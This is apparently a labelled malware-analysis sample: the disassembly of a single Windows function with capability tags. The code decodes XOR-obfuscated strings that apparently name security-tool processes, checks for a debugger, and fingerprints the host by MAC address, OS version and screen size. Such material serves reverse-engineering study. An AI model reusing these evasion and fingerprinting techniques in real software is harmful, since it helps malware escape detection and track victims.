Function at 0x402510
Capabilities:
Allocate or change rwx memory
Check for peb ntglobalflag flag
Check os version
Encode data using xor
Execute shellcode via indirect call
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x533eeb
mov eax, dword fs:[0]
push eax
mov eax, 0x1388
call fcn.00512840
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea esi, [edi + 0x410]
push esi
push 0
mov dword [ebp - 0x1394], 0
mov dword [edi + 0x400], 1
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push esi
call fcn.0050dc06
add esp, 8
test eax, eax
je 0x4025c4
inc eax
je 0x4025c4
cmp byte [eax + 1], 0
lea ecx, [eax + 1]
je 0x402592
cmp byte [ecx], 0x40
jne 0x40258c
mov byte [ecx], 0x5f
inc ecx
cmp byte [ecx], 0
jne 0x402584
lea ecx, [edi + 0x410]
mov esi, edi
sub esi, ecx
lea esp, [esp]
mov dl, byte [ecx]
mov byte [esi + ecx + 0x514], dl
inc ecx
test dl, dl
jne 0x4025a0
mov esi, edi
mov ecx, eax
sub esi, eax
mov dl, byte [ecx]
mov byte [esi + ecx + 0x38c], dl
inc ecx
test dl, dl
jne 0x4025b4
mov byte [eax], dl
mov eax, dword [str.5.2.7.0]
push 0x200
mov dword [edi + 0x37c], eax
mov ecx, dword [0x560b04]
lea esi, [edi + 0x40]
push 0
push esi
mov dword [edi + 0x380], ecx
mov dword [ebp - 0x2b], 0xfdb7b3b3
mov dword [ebp - 0x27], 0xb1b7e8e8
mov dword [ebp - 0x23], 0xafa8b4e9
mov dword [ebp - 0x1f], 0xa8a4e9b2
mov dword [ebp - 0x1b], 0xaea4e8aa
mov dword [ebp - 0x17], 0xb4adbeb3
mov word [ebp - 0x13], 0xa9a8
mov byte [ebp - 0x11], 0xc7
call fcn.00510790
add esp, 0xc
mov dword [ebp - 0x138c], 0x200
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], 0x68
inc eax
xor byte [eax], 0xc7
jne 0x402633
push esi
lea ebx, [ebp - 0x138c]
lea eax, [ebp - 0x2c]
call fcn.004068b0
add esp, 4
push 0x3b
push esi
call fcn.0050dd80
add esp, 8
test eax, eax
je 0x40265d
mov byte [eax], 0
push 0x7b
push esi
call fcn.0050d070
add esp, 8
test eax, eax
je 0x402686
mov ecx, eax
lea ebx, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x402671
sub ecx, ebx
inc ecx
push ecx
push eax
push esi
call fcn.00513ea0
add esp, 0xc
mov eax, esi
mov dword [ebp - 0x12d4], 0xf
mov dword [ebp - 0x12d8], 0
mov byte [ebp - 0x12e8], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026a6
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x12e8]
call fcn.00403a90
lea edx, [ebp - 0x12e8]
push edx
lea ecx, [ebp - 0x12cc]
mov dword [ebp - 4], 0
call fcn.00406760
mov eax, dword [ebp - 0x12cc]
add esp, 4
cmp dword [ebp - 0x12b8], 0x10
jae 0x4026ed
lea eax, [ebp - 0x12cc]
sub esi, eax
nop
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x4026f0
xor esi, esi
push 0x6e
lea eax, [ebp - 0x119e]
push esi
push eax
mov dword [edi + 0x3fc], esi
mov dword [ebp - 0x11b0], 0x83b2af9d
mov dword [ebp - 0x11ac], 0x81a0a9a8
mov dword [ebp - 0x11a8], 0x9ea0a9a6
mov dword [ebp - 0x11a4], 0xbfa2e9b2
mov word [ebp - 0x11a0], 0xc7a2
call fcn.00510790
add esp, 0xc
push 0x74
lea ecx, [ebp - 0x1124]
push esi
push ecx
mov dword [ebp - 0x1130], 0x94f7f1f4
mov dword [ebp - 0x112c], 0xe9a2a1a6
mov dword [ebp - 0x1128], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x74
lea edx, [ebp - 0x10a4]
push esi
push edx
mov dword [ebp - 0x10b0], 0x93f7f1f4
mov dword [ebp - 0x10ac], 0xe9bea6b5
mov dword [ebp - 0x10a8], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x76
lea eax, [ebp - 0x1026]
push esi
push eax
mov dword [ebp - 0x1030], 0xb4f7f1f4
mov dword [ebp - 0x102c], 0xbfa2e9a3
mov word [ebp - 0x1028], 0xc7a2
call fcn.00510790
add esp, 0xc
push 0x76
lea ecx, [ebp - 0xfa6]
push esi
push ecx
mov dword [ebp - 0xfb0], 0xb5f7f1f4
mov dword [ebp - 0xfac], 0xbfa2e9b7
mov word [ebp - 0xfa8], 0xc7a2
call fcn.00510790
add esp, 0xc
push 0x75
lea edx, [ebp - 0xf25]
push esi
push edx
mov dword [ebp - 0xf30], 0xb5f7f1f4
mov dword [ebp - 0xf2c], 0xa2e9b4b7
mov word [ebp - 0xf28], 0xa2bf
mov byte [ebp - 0xf26], 0xc7
call fcn.00510790
add esp, 0xc
push 0x74
lea eax, [ebp - 0xea4]
push esi
push eax
mov dword [ebp - 0xeb0], 0x84979696
mov dword [ebp - 0xeac], 0xe9979395
mov dword [ebp - 0xea8], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x73
lea ecx, [ebp - 0xe23]
push esi
push ecx
mov dword [ebp - 0xe30], 0x84979696
mov dword [ebp - 0xe2c], 0xbea6b593
mov dword [ebp - 0xe28], 0xa2bfa2e9
mov byte [ebp - 0xe24], 0xc7
call fcn.00510790
add esp, 0xc
mov dword [ebp - 0xdb0], 0xb3a2bfac
mov dword [ebp - 0xdac], 0xe9bea6b5
mov dword [ebp - 0xda8], 0xc7a2bfa2
push 0x74
lea edx, [ebp - 0xda4]
push esi
push edx
call fcn.00510790
add esp, 0xc
push 0x74
lea eax, [ebp - 0xd24]
push esi
push eax
mov dword [ebp - 0xd30], 0xabb4aeac
mov dword [ebp - 0xd2c], 0xe9a2b1ae
mov dword [ebp - 0xd28], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x72
lea ecx, [ebp - 0xca2]
push esi
push ecx
mov dword [ebp - 0xcb0], 0xa4a5a9ac
mov dword [ebp - 0xcac], 0xa2b3a9a2
mov dword [ebp - 0xca8], 0xbfa2e9b5
mov word [ebp - 0xca4], 0xc7a2
call fcn.00510790
add esp, 0xc
push 0x73
lea edx, [ebp - 0xc23]
push esi
push edx
mov dword [ebp - 0xc30], 0xb4a2bfac
mov dword [ebp - 0xc2c], 0xa2b5a8a4
mov dword [ebp - 0xc28], 0xa2bfa2e9
mov byte [ebp - 0xc24], 0xc7
call fcn.00510790
add esp, 0xc
push 0x6f
lea eax, [ebp - 0xb9f]
push esi
push eax
mov dword [ebp - 0xbb0], 0xb7b4b0ac
mov dword [ebp - 0xbac], 0xa2b3a8b5
mov dword [ebp - 0xba8], 0xf3f1b3a4
mov dword [ebp - 0xba4], 0xa2bfa2e9
mov byte [ebp - 0xba0], 0xc7
call fcn.00510790
add esp, 0xc
push 0x71
lea ecx, [ebp - 0xb21]
push esi
push ecx
mov dword [ebp - 0xb30], 0xa8afb7ac
mov dword [ebp - 0xb2c], 0xb5b3a2a9
mov dword [ebp - 0xb28], 0xa2e9bea6
mov word [ebp - 0xb24], 0xa2bf
mov byte [ebp - 0xb22], 0xc7
call fcn.00510790
add esp, 0xc
push 0x73
lea edx, [ebp - 0xaa3]
push esi
push edx
mov dword [ebp - 0xab0], 0xbfa9a6b0
mov dword [ebp - 0xaac], 0xa0a9a6ae
mov dword [ebp - 0xaa8], 0xa2bfa2e9
mov byte [ebp - 0xaa4], 0xc7
call fcn.00510790
add esp, 0xc
push 0x75
lea eax, [ebp - 0xa25]
push esi
push eax
mov dword [ebp - 0xa30], 0xb0a5b2b7
mov dword [ebp - 0xa2c], 0xa2e9a9ae
mov word [ebp - 0xa28], 0xa2bf
mov byte [ebp - 0xa26], 0xc7
call fcn.00510790
add esp, 0xc
mov dword [ebp - 0x9b0], 0xb6a8a6be
mov dword [ebp - 0x9ac], 0xb4a9a6ae
mov dword [ebp - 0x9a8], 0xa2e9b2af
mov word [ebp - 0x9a4], 0xa2bf
push 0x71
lea ecx, [ebp - 0x9a1]
push esi
push ecx
mov byte [ebp - 0x9a2], 0xc7
call fcn.00510790
add esp, 0xc
push 0x71
lea edx, [ebp - 0x921]
push esi
push edx
mov dword [ebp - 0x930], 0x94bdb581
mov dword [ebp - 0x92c], 0xa2b3a6b3
mov dword [ebp - 0x928], 0xa2e9acf5
mov word [ebp - 0x924], 0xa2bf
mov byte [ebp - 0x922], 0xc7
call fcn.00510790
add esp, 0xc
push 0x73
lea eax, [ebp - 0x8a3]
push esi
push eax
mov dword [ebp - 0x8b0], 0xaba4bda1
mov dword [ebp - 0x8ac], 0xb3a9a2ae
mov dword [ebp - 0x8a8], 0xa2bfa2e9
mov byte [ebp - 0x8a4], 0xc7
call fcn.00510790
add esp, 0xc
push 0x75
lea ecx, [ebp - 0x825]
push esi
push ecx
mov dword [ebp - 0x830], 0xa2948183
mov dword [ebp - 0x82c], 0xa2e9b1b5
mov word [ebp - 0x828], 0xa2bf
mov byte [ebp - 0x826], 0xc7
call fcn.00510790
add esp, 0xc
push 0x6c
lea edx, [ebp - 0x79c]
push esi
push edx
mov dword [ebp - 0x7b0], 0x84b5a685
mov dword [ebp - 0x7ac], 0xa0b5a6af
mov dword [ebp - 0x7a8], 0xb597b4a2
mov dword [ebp - 0x7a4], 0xe9bebfa8
mov dword [ebp - 0x7a0], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x70
lea eax, [ebp - 0x720]
push esi
push eax
mov dword [ebp - 0x730], 0xa2b0a897
mov dword [ebp - 0x72c], 0xaaa295b5
mov dword [ebp - 0x728], 0xe9a3a9ae
mov dword [ebp - 0x724], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x73
lea ecx, [ebp - 0x6a3]
push esi
push ecx
mov dword [ebp - 0x6b0], 0xa294bfb0
mov dword [ebp - 0x6ac], 0xb5a2b1b5
mov dword [ebp - 0x6a8], 0xa2bfa2e9
mov byte [ebp - 0x6a4], 0xc7
call fcn.00510790
add esp, 0xc
push 0x6f
lea edx, [ebp - 0x61f]
push esi
push edx
mov dword [ebp - 0x630], 0xacb4ae83
mov dword [ebp - 0x62c], 0xb4b4a2ab
mov dword [ebp - 0x628], 0xb0a2ae91
mov dword [ebp - 0x624], 0xa2bfa2e9
mov byte [ebp - 0x620], 0xc7
call fcn.00510790
add esp, 0xc
mov dword [ebp - 0x5b0], 0x84b5a685
push 0x6e
lea eax, [ebp - 0x59e]
push esi
push eax
mov dword [ebp - 0x5ac], 0xa9a2aeab
mov dword [ebp - 0x5a8], 0xa2ae91b3
mov dword [ebp - 0x5a4], 0xbfa2e9b0
mov word [ebp - 0x5a0], 0xc7a2
call fcn.00510790
add esp, 0xc
push 0x71
lea ecx, [ebp - 0x521]
push esi
push ecx
mov dword [ebp - 0x530], 0xb3a9ae8f
mov dword [ebp - 0x52c], 0xa2aeab84
mov dword [ebp - 0x528], 0xa2e9b3a9
mov word [ebp - 0x524], 0xa2bf
mov byte [ebp - 0x522], 0xc7
call fcn.00510790
add esp, 0xc
push 0x71
lea edx, [ebp - 0x4a1]
push esi
push edx
mov dword [ebp - 0x4b0], 0xacb4a283
mov dword [ebp - 0x4ac], 0x89b7a8b3
mov dword [ebp - 0x4a8], 0xa2e9b1a6
mov word [ebp - 0x4a4], 0xa2bf
mov byte [ebp - 0x4a2], 0xc7
call fcn.00510790
add esp, 0xc
push 0x70
lea eax, [ebp - 0x420]
push esi
push eax
mov dword [ebp - 0x430], 0xa2a2b5a1
mov dword [ebp - 0x42c], 0xa6aaa2bd
mov dword [ebp - 0x428], 0xe9a4aea0
mov dword [ebp - 0x424], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x73
lea ecx, [ebp - 0x3a3]
push esi
push ecx
mov dword [ebp - 0x3b0], 0xbfa88591
mov dword [ebp - 0x3ac], 0xbea6b593
mov dword [ebp - 0x3a8], 0xa2bfa2e9
mov byte [ebp - 0x3a4], 0xc7
call fcn.00510790
add esp, 0xc
push 0x70
lea edx, [ebp - 0x320]
push esi
push edx
mov dword [ebp - 0x330], 0xbfa88591
mov dword [ebp - 0x32c], 0xb1b5a294
mov dword [ebp - 0x328], 0xe9a2a4ae
mov dword [ebp - 0x324], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x71
lea eax, [ebp - 0x2a1]
push esi
push eax
mov dword [ebp - 0x2b0], 0xa6b08a91
mov dword [ebp - 0x2ac], 0xb492a2b5
mov dword [ebp - 0x2a8], 0xa2e9b5a2
mov word [ebp - 0x2a4], 0xa2bf
mov byte [ebp - 0x2a2], 0xc7
call fcn.00510790
add esp, 0xc
push 0x71
mov dword [ebp - 0x230], 0xa6b08a91
mov dword [ebp - 0x22c], 0xb593a2b5
mov dword [ebp - 0x228], 0xa2e9bea6
mov word [ebp - 0x224], 0xa2bf
mov byte [ebp - 0x222], 0xc7
push esi
lea ecx, [ebp - 0x221]
push ecx
call fcn.00510790
add esp, 0xc
push 0x6c
lea edx, [ebp - 0x19c]
push esi
push edx
mov dword [ebp - 0x1b0], 0xb7928a91
mov dword [ebp - 0x1ac], 0xa3a6b5a0
mov dword [ebp - 0x1a8], 0xaba28fa2
mov dword [ebp - 0x1a4], 0xe9b5a2b7
mov dword [ebp - 0x1a0], 0xc7a2bfa2
call fcn.00510790
add esp, 0xc
push 0x73
lea eax, [ebp - 0x123]
push esi
push eax
mov dword [ebp - 0x130], 0xa8b3aab1
mov dword [ebp - 0x12c], 0xa3b4aba8
mov dword [ebp - 0x128], 0xa2bfa2e9
mov byte [ebp - 0x124], 0xc7
call fcn.00510790
add esp, 0xc
push 0x73
lea ecx, [ebp - 0xa3]
push esi
push ecx
mov dword [ebp - 0xb0], 0xa4a6aab1
mov dword [ebp - 0xac], 0xb7abafb3
mov dword [ebp - 0xa8], 0xa2bfa2e9
mov byte [ebp - 0xa4], 0xc7
call fcn.00510790
add esp, 0xc
push 0x100
lea edx, [ebp - 0x12b0]
push esi
push edx
call fcn.00510790
add esp, 0xc
lea ebx, [ebp - 0x11b0]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x402f09
inc eax
xor byte [eax], 0xc7
jne 0x402f03
call fcn.00402330
test eax, eax
jne 0x402f1d
inc esi
sub ebx, 0xffffff80
cmp esi, 6
jb 0x402efc
jmp 0x402f61
or dword [edi + 0x3fc], 2
lea eax, [ebp - 0x12b0]
add eax, 0xfffffffe
lea ecx, [ecx]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402f30
mov ecx, dword [0x560b08]
mov edx, dword [0x560b0c]
mov dword [eax], ecx
mov ecx, dword [0x560b10]
mov dword [eax + 4], edx
mov dx, word [0x560b14]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
xor esi, esi
lea ebx, [ebp - 0xeb0]
lea esp, [esp]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x402f7d
inc eax
xor byte [eax], 0xc7
jne 0x402f77
call fcn.00402330
test eax, eax
jne 0x402f91
inc esi
sub ebx, 0xffffff80
cmp esi, 2
jb 0x402f70
jmp 0x402fc7
or dword [edi + 0x3fc], 1
lea eax, [ebp - 0x12b0]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402fa1
mov ecx, dword [0x560b18]
mov edx, dword [0x560b1c]
mov dword [eax], ecx
mov ecx, dword [0x560b20]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
xor esi, esi
lea ebx, [ebp - 0xdb0]
nop
xor byte [ebx], 0xc7
mov eax, ebx
je 0x402fdd
inc eax
xor byte [eax], 0xc7
jne 0x402fd7
call fcn.00402330
test eax, eax
jne 0x402ff1
inc esi
sub ebx, 0xffffff80
cmp esi, 6
jb 0x402fd0
jmp 0x403027
or dword [edi + 0x3fc], 8
lea eax, [ebp - 0x12b0]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x403001
mov edx, dword [0x560b24]
mov ecx, dword [0x560b28]
mov dword [eax], edx
mov edx, dword [0x560b2c]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
xor esi, esi
lea ebx, [ebp - 0xab0]
nop
xor byte [ebx], 0xc7
mov eax, ebx
je 0x40303d
inc eax
xor byte [eax], 0xc7
jne 0x403037
call fcn.00402330
test eax, eax
jne 0x403051
inc esi
sub ebx, 0xffffff80
cmp esi, 0xe
jb 0x403030
jmp 0x40305b
or dword [edi + 0x3fc], 0x10000000
lea eax, [edi + 0x410]
push eax
call fcn.00402440
add esp, 4
test eax, eax
jne 0x4030a4
xor esi, esi
lea ebx, [ebp - 0x3b0]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x403086
lea ecx, [ecx]
inc eax
xor byte [eax], 0xc7
jne 0x403080
call fcn.00402330
test eax, eax
jne 0x40309a
inc esi
sub ebx, 0xffffff80
cmp esi, 7
jb 0x403076
jmp 0x4030a4
or dword [edi + 0x3fc], 0x20000000
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4030d5
mov dword [ebp - 0x138c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov dword [ebp - 0x138c], eax
xor eax, eax
cmp dword [ebp - 0x138c], eax
setne al
test eax, eax
je 0x4030df
or dword [edi + 0x3fc], 0x40000000
lea eax, [ebp - 0x12b0]
push eax
lea ecx, [edi + 0x240]
lea eax, [ebp - 0x138c]
mov dword [ebp - 0x138c], 0x100
call fcn.004023c0
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esp, 4
push 0x40
push 0x1000
push 0x288
push 0
call ebx
lea ecx, [ebp - 0x1394]
mov esi, eax
push ecx
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp - 0x1394]
push 0x40
push 0x1000
push edx
push 0
call ebx
mov esi, eax
lea eax, [ebp - 0x1394]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x4031cb
test esi, esi
je 0x403219
mov cx, word [esi + 0x198]
mov eax, dword [esi + 0x194]
mov word [ebp - 0x138c], cx
mov edx, dword [ebp - 0x138c]
shr edx, 8
movzx ecx, dl
movzx edx, byte [ebp - 0x138c]
push ecx
push edx
mov ecx, eax
mov edx, eax
shr ecx, 0x18
push ecx
shr edx, 0x10
mov dword [ebp - 0x1390], eax
movzx ecx, dl
push ecx
shr eax, 8
movzx edx, al
movzx eax, byte [ebp - 0x1390]
push edx
push eax
push str._02X__02X__02X__02X__02X__02X
lea ecx, [edi + 0x364]
push 0x18
push ecx
call fcn.0050ccdd
add esp, 0x24
jmp 0x403219
xor eax, eax
mov dword [ebp - 0x1390], eax
movzx ecx, byte [ebp - 0x138d]
mov word [ebp - 0x138c], ax
movzx edx, byte [ebp - 0x138b]
push edx
movzx edx, byte [ebp - 0x138e]
movzx eax, al
push eax
movzx eax, byte [ebp - 0x138f]
push ecx
movzx ecx, byte [ebp - 0x1390]
push edx
push eax
push ecx
push str._02X__02X__02X__02X__02X__02X
lea edx, [edi + 0x364]
call fcn.00403f80
add esp, 0x1c
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x94
lea edx, [ebp - 0x1388]
push 0
push edx
call fcn.00510790
add esp, 0xc
lea eax, [ebp - 0x1388]
push eax
mov dword [ebp - 0x1388], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x403286
mov ecx, dword [ebp - 0x137c]
mov edx, dword [ebp - 0x1380]
mov eax, dword [ebp - 0x1384]
push ecx
push edx
push eax
push str._d._d._d
lea edx, [edi + 0x354]
mov dword [edi + 0x404], eax
call fcn.00403fa0
add esp, 0x10
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push eax
push 0
call esi
push eax
push str._d_d
lea edx, [edi + 0x340]
call fcn.00403fc0
mov esi, 0x10
add esp, 0xc
mov dword [edi + 0x40c], 1
cmp dword [ebp - 0x12b8], esi
jb 0x4032cf
mov eax, dword [ebp - 0x12cc]
push eax
call fcn.0040e900
add esp, 4
mov dword [ebp - 0x12b8], 0xf
mov dword [ebp - 0x12bc], 0
mov byte [ebp - 0x12cc], 0
cmp dword [ebp - 0x12d4], esi
jb 0x403301
mov ecx, dword [ebp - 0x12e8]
push ecx
call fcn.0040e900
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret